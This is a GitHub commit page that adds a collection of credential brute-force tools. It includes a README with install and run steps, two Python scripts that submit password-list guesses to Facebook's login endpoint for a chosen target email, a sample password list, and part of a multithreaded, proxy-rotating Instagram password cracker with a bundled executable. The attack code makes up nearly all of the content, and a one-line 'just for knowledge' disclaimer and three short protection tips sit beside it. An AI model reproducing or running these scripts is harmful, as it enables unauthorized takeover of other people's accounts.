-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
0dad403
commit e45ad2f
Showing
82 changed files
with
7,096 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
# Facebook-BruteForce | ||
bruteforce attack on facebook account script in python | ||
|
||
## Install Requirements(Linux) | ||
* apt-get install git python3 python3-pip python python-pip | ||
|
||
## Run commands one by one | ||
* git clone https://github.com/IAmBlackHacker/Facebook-BruteForce | ||
* cd Facebook-BruteForce | ||
* pip3 install requests bs4 | ||
* pip install mechanize | ||
* python3 fb.py or python fb2.py | ||
|
||
## Screenshots | ||
 | ||
 | ||
 | ||
|
||
## Protection Against Attacker | ||
* Use Strong Password(Contain all chars + longest as possible) | ||
* Use two way authentication. | ||
* Make location based login(+browser based). | ||
|
||
## Explore More in Hacking ... | ||
https://www.facebook.com/B14CKH4K3R/ | ||
|
||
~~~ | ||
Happy Hacking Day ! (Please do not spam it, It's Just For Knowledge ...). | ||
~~~ |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
import requests | ||
import threading | ||
# import urllib.request | ||
# import os | ||
from bs4 import BeautifulSoup | ||
import sys | ||
|
||
if sys.version_info[0] !=3: | ||
print('''-------------------------------------- | ||
REQUIRED PYTHON 3.x | ||
use: python3 fb.py | ||
-------------------------------------- | ||
''') | ||
sys.exit() | ||
|
||
post_url='https://www.facebook.com/login.php' | ||
headers = { | ||
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', | ||
} | ||
payload={} | ||
cookie={} | ||
|
||
def create_form(): | ||
form=dict() | ||
cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} | ||
|
||
data=requests.get(post_url,headers=headers) | ||
for i in data.cookies: | ||
cookie[i.name]=i.value | ||
data=BeautifulSoup(data.text,'html.parser').form | ||
if data.input['name']=='lsd': | ||
form['lsd']=data.input['value'] | ||
return (form,cookie) | ||
|
||
def function(email,passw,i): | ||
global payload,cookie | ||
if i%10==1: | ||
payload,cookie=create_form() | ||
payload['email']=email | ||
payload['pass']=passw | ||
r=requests.post(post_url,data=payload,cookies=cookie,headers=headers) | ||
if 'Find Friends' in r.text: | ||
open('temp','w').write(str(r.content)) | ||
print('\npassword is : ',passw) | ||
return True | ||
return False | ||
|
||
print('\n---------- Welcome To Facebook BruteForce ----------\n') | ||
file=open('passwords.txt','r') | ||
|
||
email=input('Enter Email/Username : ') | ||
|
||
print("\nTarget Email ID : ",email) | ||
print("\nTrying Passwords from list ...") | ||
|
||
i=0 | ||
while file: | ||
passw=file.readline().strip() | ||
i+=1 | ||
if len(passw) < 6: | ||
continue | ||
print(str(i) +" : ",passw) | ||
if function(email,passw,i): | ||
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
import time | ||
import sys | ||
|
||
if sys.version_info[0] !=2: | ||
print('''-------------------------------------- | ||
REQUIRED PYTHON 2.x | ||
use: python fb2.py | ||
-------------------------------------- | ||
''') | ||
sys.exit() | ||
|
||
post_url='https://www.facebook.com/login.php' | ||
headers = { | ||
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', | ||
} | ||
|
||
try: | ||
import mechanize | ||
import urllib2 | ||
browser = mechanize.Browser() | ||
browser.addheaders = [('User-Agent',headers['User-Agent'])] | ||
browser.set_handle_robots(False) | ||
except: | ||
print('\n\tPlease install mechanize.\n') | ||
sys.exit() | ||
|
||
print('\n---------- Welcome To Facebook BruteForce ----------\n') | ||
file=open('passwords.txt','r') | ||
|
||
email=str(raw_input('Enter Email/Username : ').strip()) | ||
|
||
print "\nTarget Email ID : ",email | ||
print "\nTrying Passwords from list ..." | ||
|
||
i=0 | ||
while file: | ||
passw=file.readline().strip() | ||
i+=1 | ||
if len(passw) < 6: | ||
contunue | ||
print str(i) +" : ",passw | ||
response = browser.open(post_url) | ||
try: | ||
if response.code == 200: | ||
browser.select_form(nr=0) | ||
browser.form['email'] = email | ||
browser.form['pass'] = passw | ||
response = browser.submit() | ||
if 'Find Friends' in response.read(): | ||
print('Your password is : ',passw) | ||
break | ||
except: | ||
print('\nSleeping for time : 5 min\n') | ||
time.sleep(300) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
123456 | ||
1234567 | ||
23456789 | ||
admin | ||
princess | ||
prince | ||
mango123 |
Large diffs are not rendered by default.
Oops, something went wrong.
Binary file added
BIN
+5.26 MB
EdScript/BruteForce/Instagram-master/Executable/executable/instagram.exe
Binary file not shown.
148 changes: 148 additions & 0 deletions
148
EdScript/BruteForce/Instagram-master/Executable/instagram.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,148 @@ | ||
# Date: 12/29/2018 | ||
# Author: Mohamed | ||
# Description: Instagram bruter | ||
|
||
from sys import exit | ||
from os.path import exists | ||
from lib.bruter import Bruter | ||
from lib.session import Session | ||
from lib.display import Display | ||
from lib.const import credentials, modes | ||
|
||
|
||
class Engine(object): | ||
|
||
def __init__(self, username, threads, passlist_path): | ||
self.bruter = None | ||
self.resume = False | ||
self.is_alive = True | ||
self.threads = threads | ||
self.username = username | ||
self.display = Display() | ||
self.passlist_path = passlist_path | ||
self.session = Session(username, passlist_path) | ||
|
||
def session_exists(self): | ||
return self.session.exists | ||
|
||
def create_bruter(self): | ||
self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume) | ||
|
||
def get_user_resp(self): | ||
return self.display.prompt('Would you like to resume the attack? [y/n]: ') | ||
|
||
def write_to_file(self, password): | ||
with open(credentials, 'at') as f: | ||
data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password) | ||
f.write(data) | ||
|
||
def start(self): | ||
if self.session_exists() and self.is_alive: | ||
resp = None | ||
|
||
try: | ||
resp = self.get_user_resp() | ||
except: | ||
self.is_alive = False | ||
|
||
if resp and self.is_alive: | ||
if resp.strip().lower() == 'y': | ||
self.resume = True | ||
|
||
if self.is_alive: | ||
self.create_bruter() | ||
|
||
try: | ||
self.bruter.start() | ||
except KeyboardInterrupt: | ||
self.bruter.stop() | ||
self.bruter.display.shutdown(self.bruter.last_password, | ||
self.bruter.password_manager.attempts, len(self.bruter.browsers)) | ||
finally: | ||
self.stop() | ||
|
||
def stop(self): | ||
if self.is_alive: | ||
|
||
self.bruter.stop() | ||
self.is_alive = False | ||
|
||
if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size: | ||
self.bruter.display.stats_not_found(self.bruter.last_password, | ||
self.bruter.password_manager.attempts, len(self.bruter.browsers)) | ||
|
||
if self.bruter.is_found: | ||
self.write_to_file(self.bruter.password) | ||
self.bruter.display.stats_found(self.bruter.password, | ||
self.bruter.password_manager.attempts, len(self.bruter.browsers)) | ||
|
||
|
||
def args(): | ||
enable_colors = str(input('Enable colors? (default: y) [y/n]: ')) | ||
|
||
if not enable_colors: | ||
enable_colors = True | ||
else: | ||
if enable_colors[0].lower() == 'n': | ||
enable_colors = False | ||
|
||
display = Display(is_color=enable_colors) | ||
username = display.prompt('Enter a username: ') | ||
|
||
if not username: | ||
display.warning('You can\'t leave this field empty') | ||
display.wait() | ||
exit() | ||
|
||
passlist = display.prompt('Enter the path to your password list: ') | ||
|
||
if not exists(passlist): | ||
display.warning('Invalid path to password list', False) | ||
display.wait() | ||
exit() | ||
|
||
display.info('''Modes:\r | ||
0: => 256 passwords at a time | ||
1: => 128 passwords at a time | ||
2: => 64 passwords at a time | ||
3: => 32 passwords at a time | ||
''', False) | ||
|
||
mode = display.prompt('Select a mode [0, 1, 2, 3]: ', False) | ||
|
||
if not mode.isdigit(): | ||
display.warning('Mode must be a number', False) | ||
display.wait() | ||
exit() | ||
|
||
mode = int(mode) | ||
|
||
if int(mode) > 3: | ||
display.warning('Mode must be no more than 3', False) | ||
display.wait() | ||
exit() | ||
|
||
if int(mode) < 0: | ||
display.warning('Mode must bot no less than 0', False) | ||
display.wait() | ||
exit() | ||
|
||
return [username, passlist, mode] | ||
|
||
|
||
if __name__ == '__main__': | ||
try: | ||
user_input = args() | ||
except KeyboardInterrupt: | ||
exit() | ||
|
||
display = Display() | ||
username, passlist, mode = user_input | ||
|
||
try: | ||
Engine(username, modes[mode], passlist).start() | ||
except: | ||
pass | ||
finally: | ||
display.wait() | ||
exit() |
2 changes: 2 additions & 0 deletions
2
EdScript/BruteForce/Instagram-master/Executable/lib/__init__.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
# Date: 12/30/2018 | ||
# Author: Mohamed |
24 changes: 24 additions & 0 deletions
24
EdScript/BruteForce/Instagram-master/Executable/lib/bad_proxies.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# Date: 12/29/2018 | ||
# Author: Mohamed | ||
# Description: Manages bad proxies | ||
|
||
from .const import max_bad_proxies | ||
|
||
|
||
class BadProxies(object): | ||
|
||
def __init__(self): | ||
self.proxies = [] | ||
|
||
def __contains__(self, proxy): | ||
for _proxy in self.proxies: | ||
if _proxy.ip == proxy.ip and _proxy.port == proxy.port: | ||
return True | ||
return False | ||
|
||
def append(self, proxy): | ||
if len(self.proxies) >= max_bad_proxies: | ||
self.proxies.pop(0) | ||
|
||
self.proxies.append(proxy) | ||
|
Oops, something went wrong.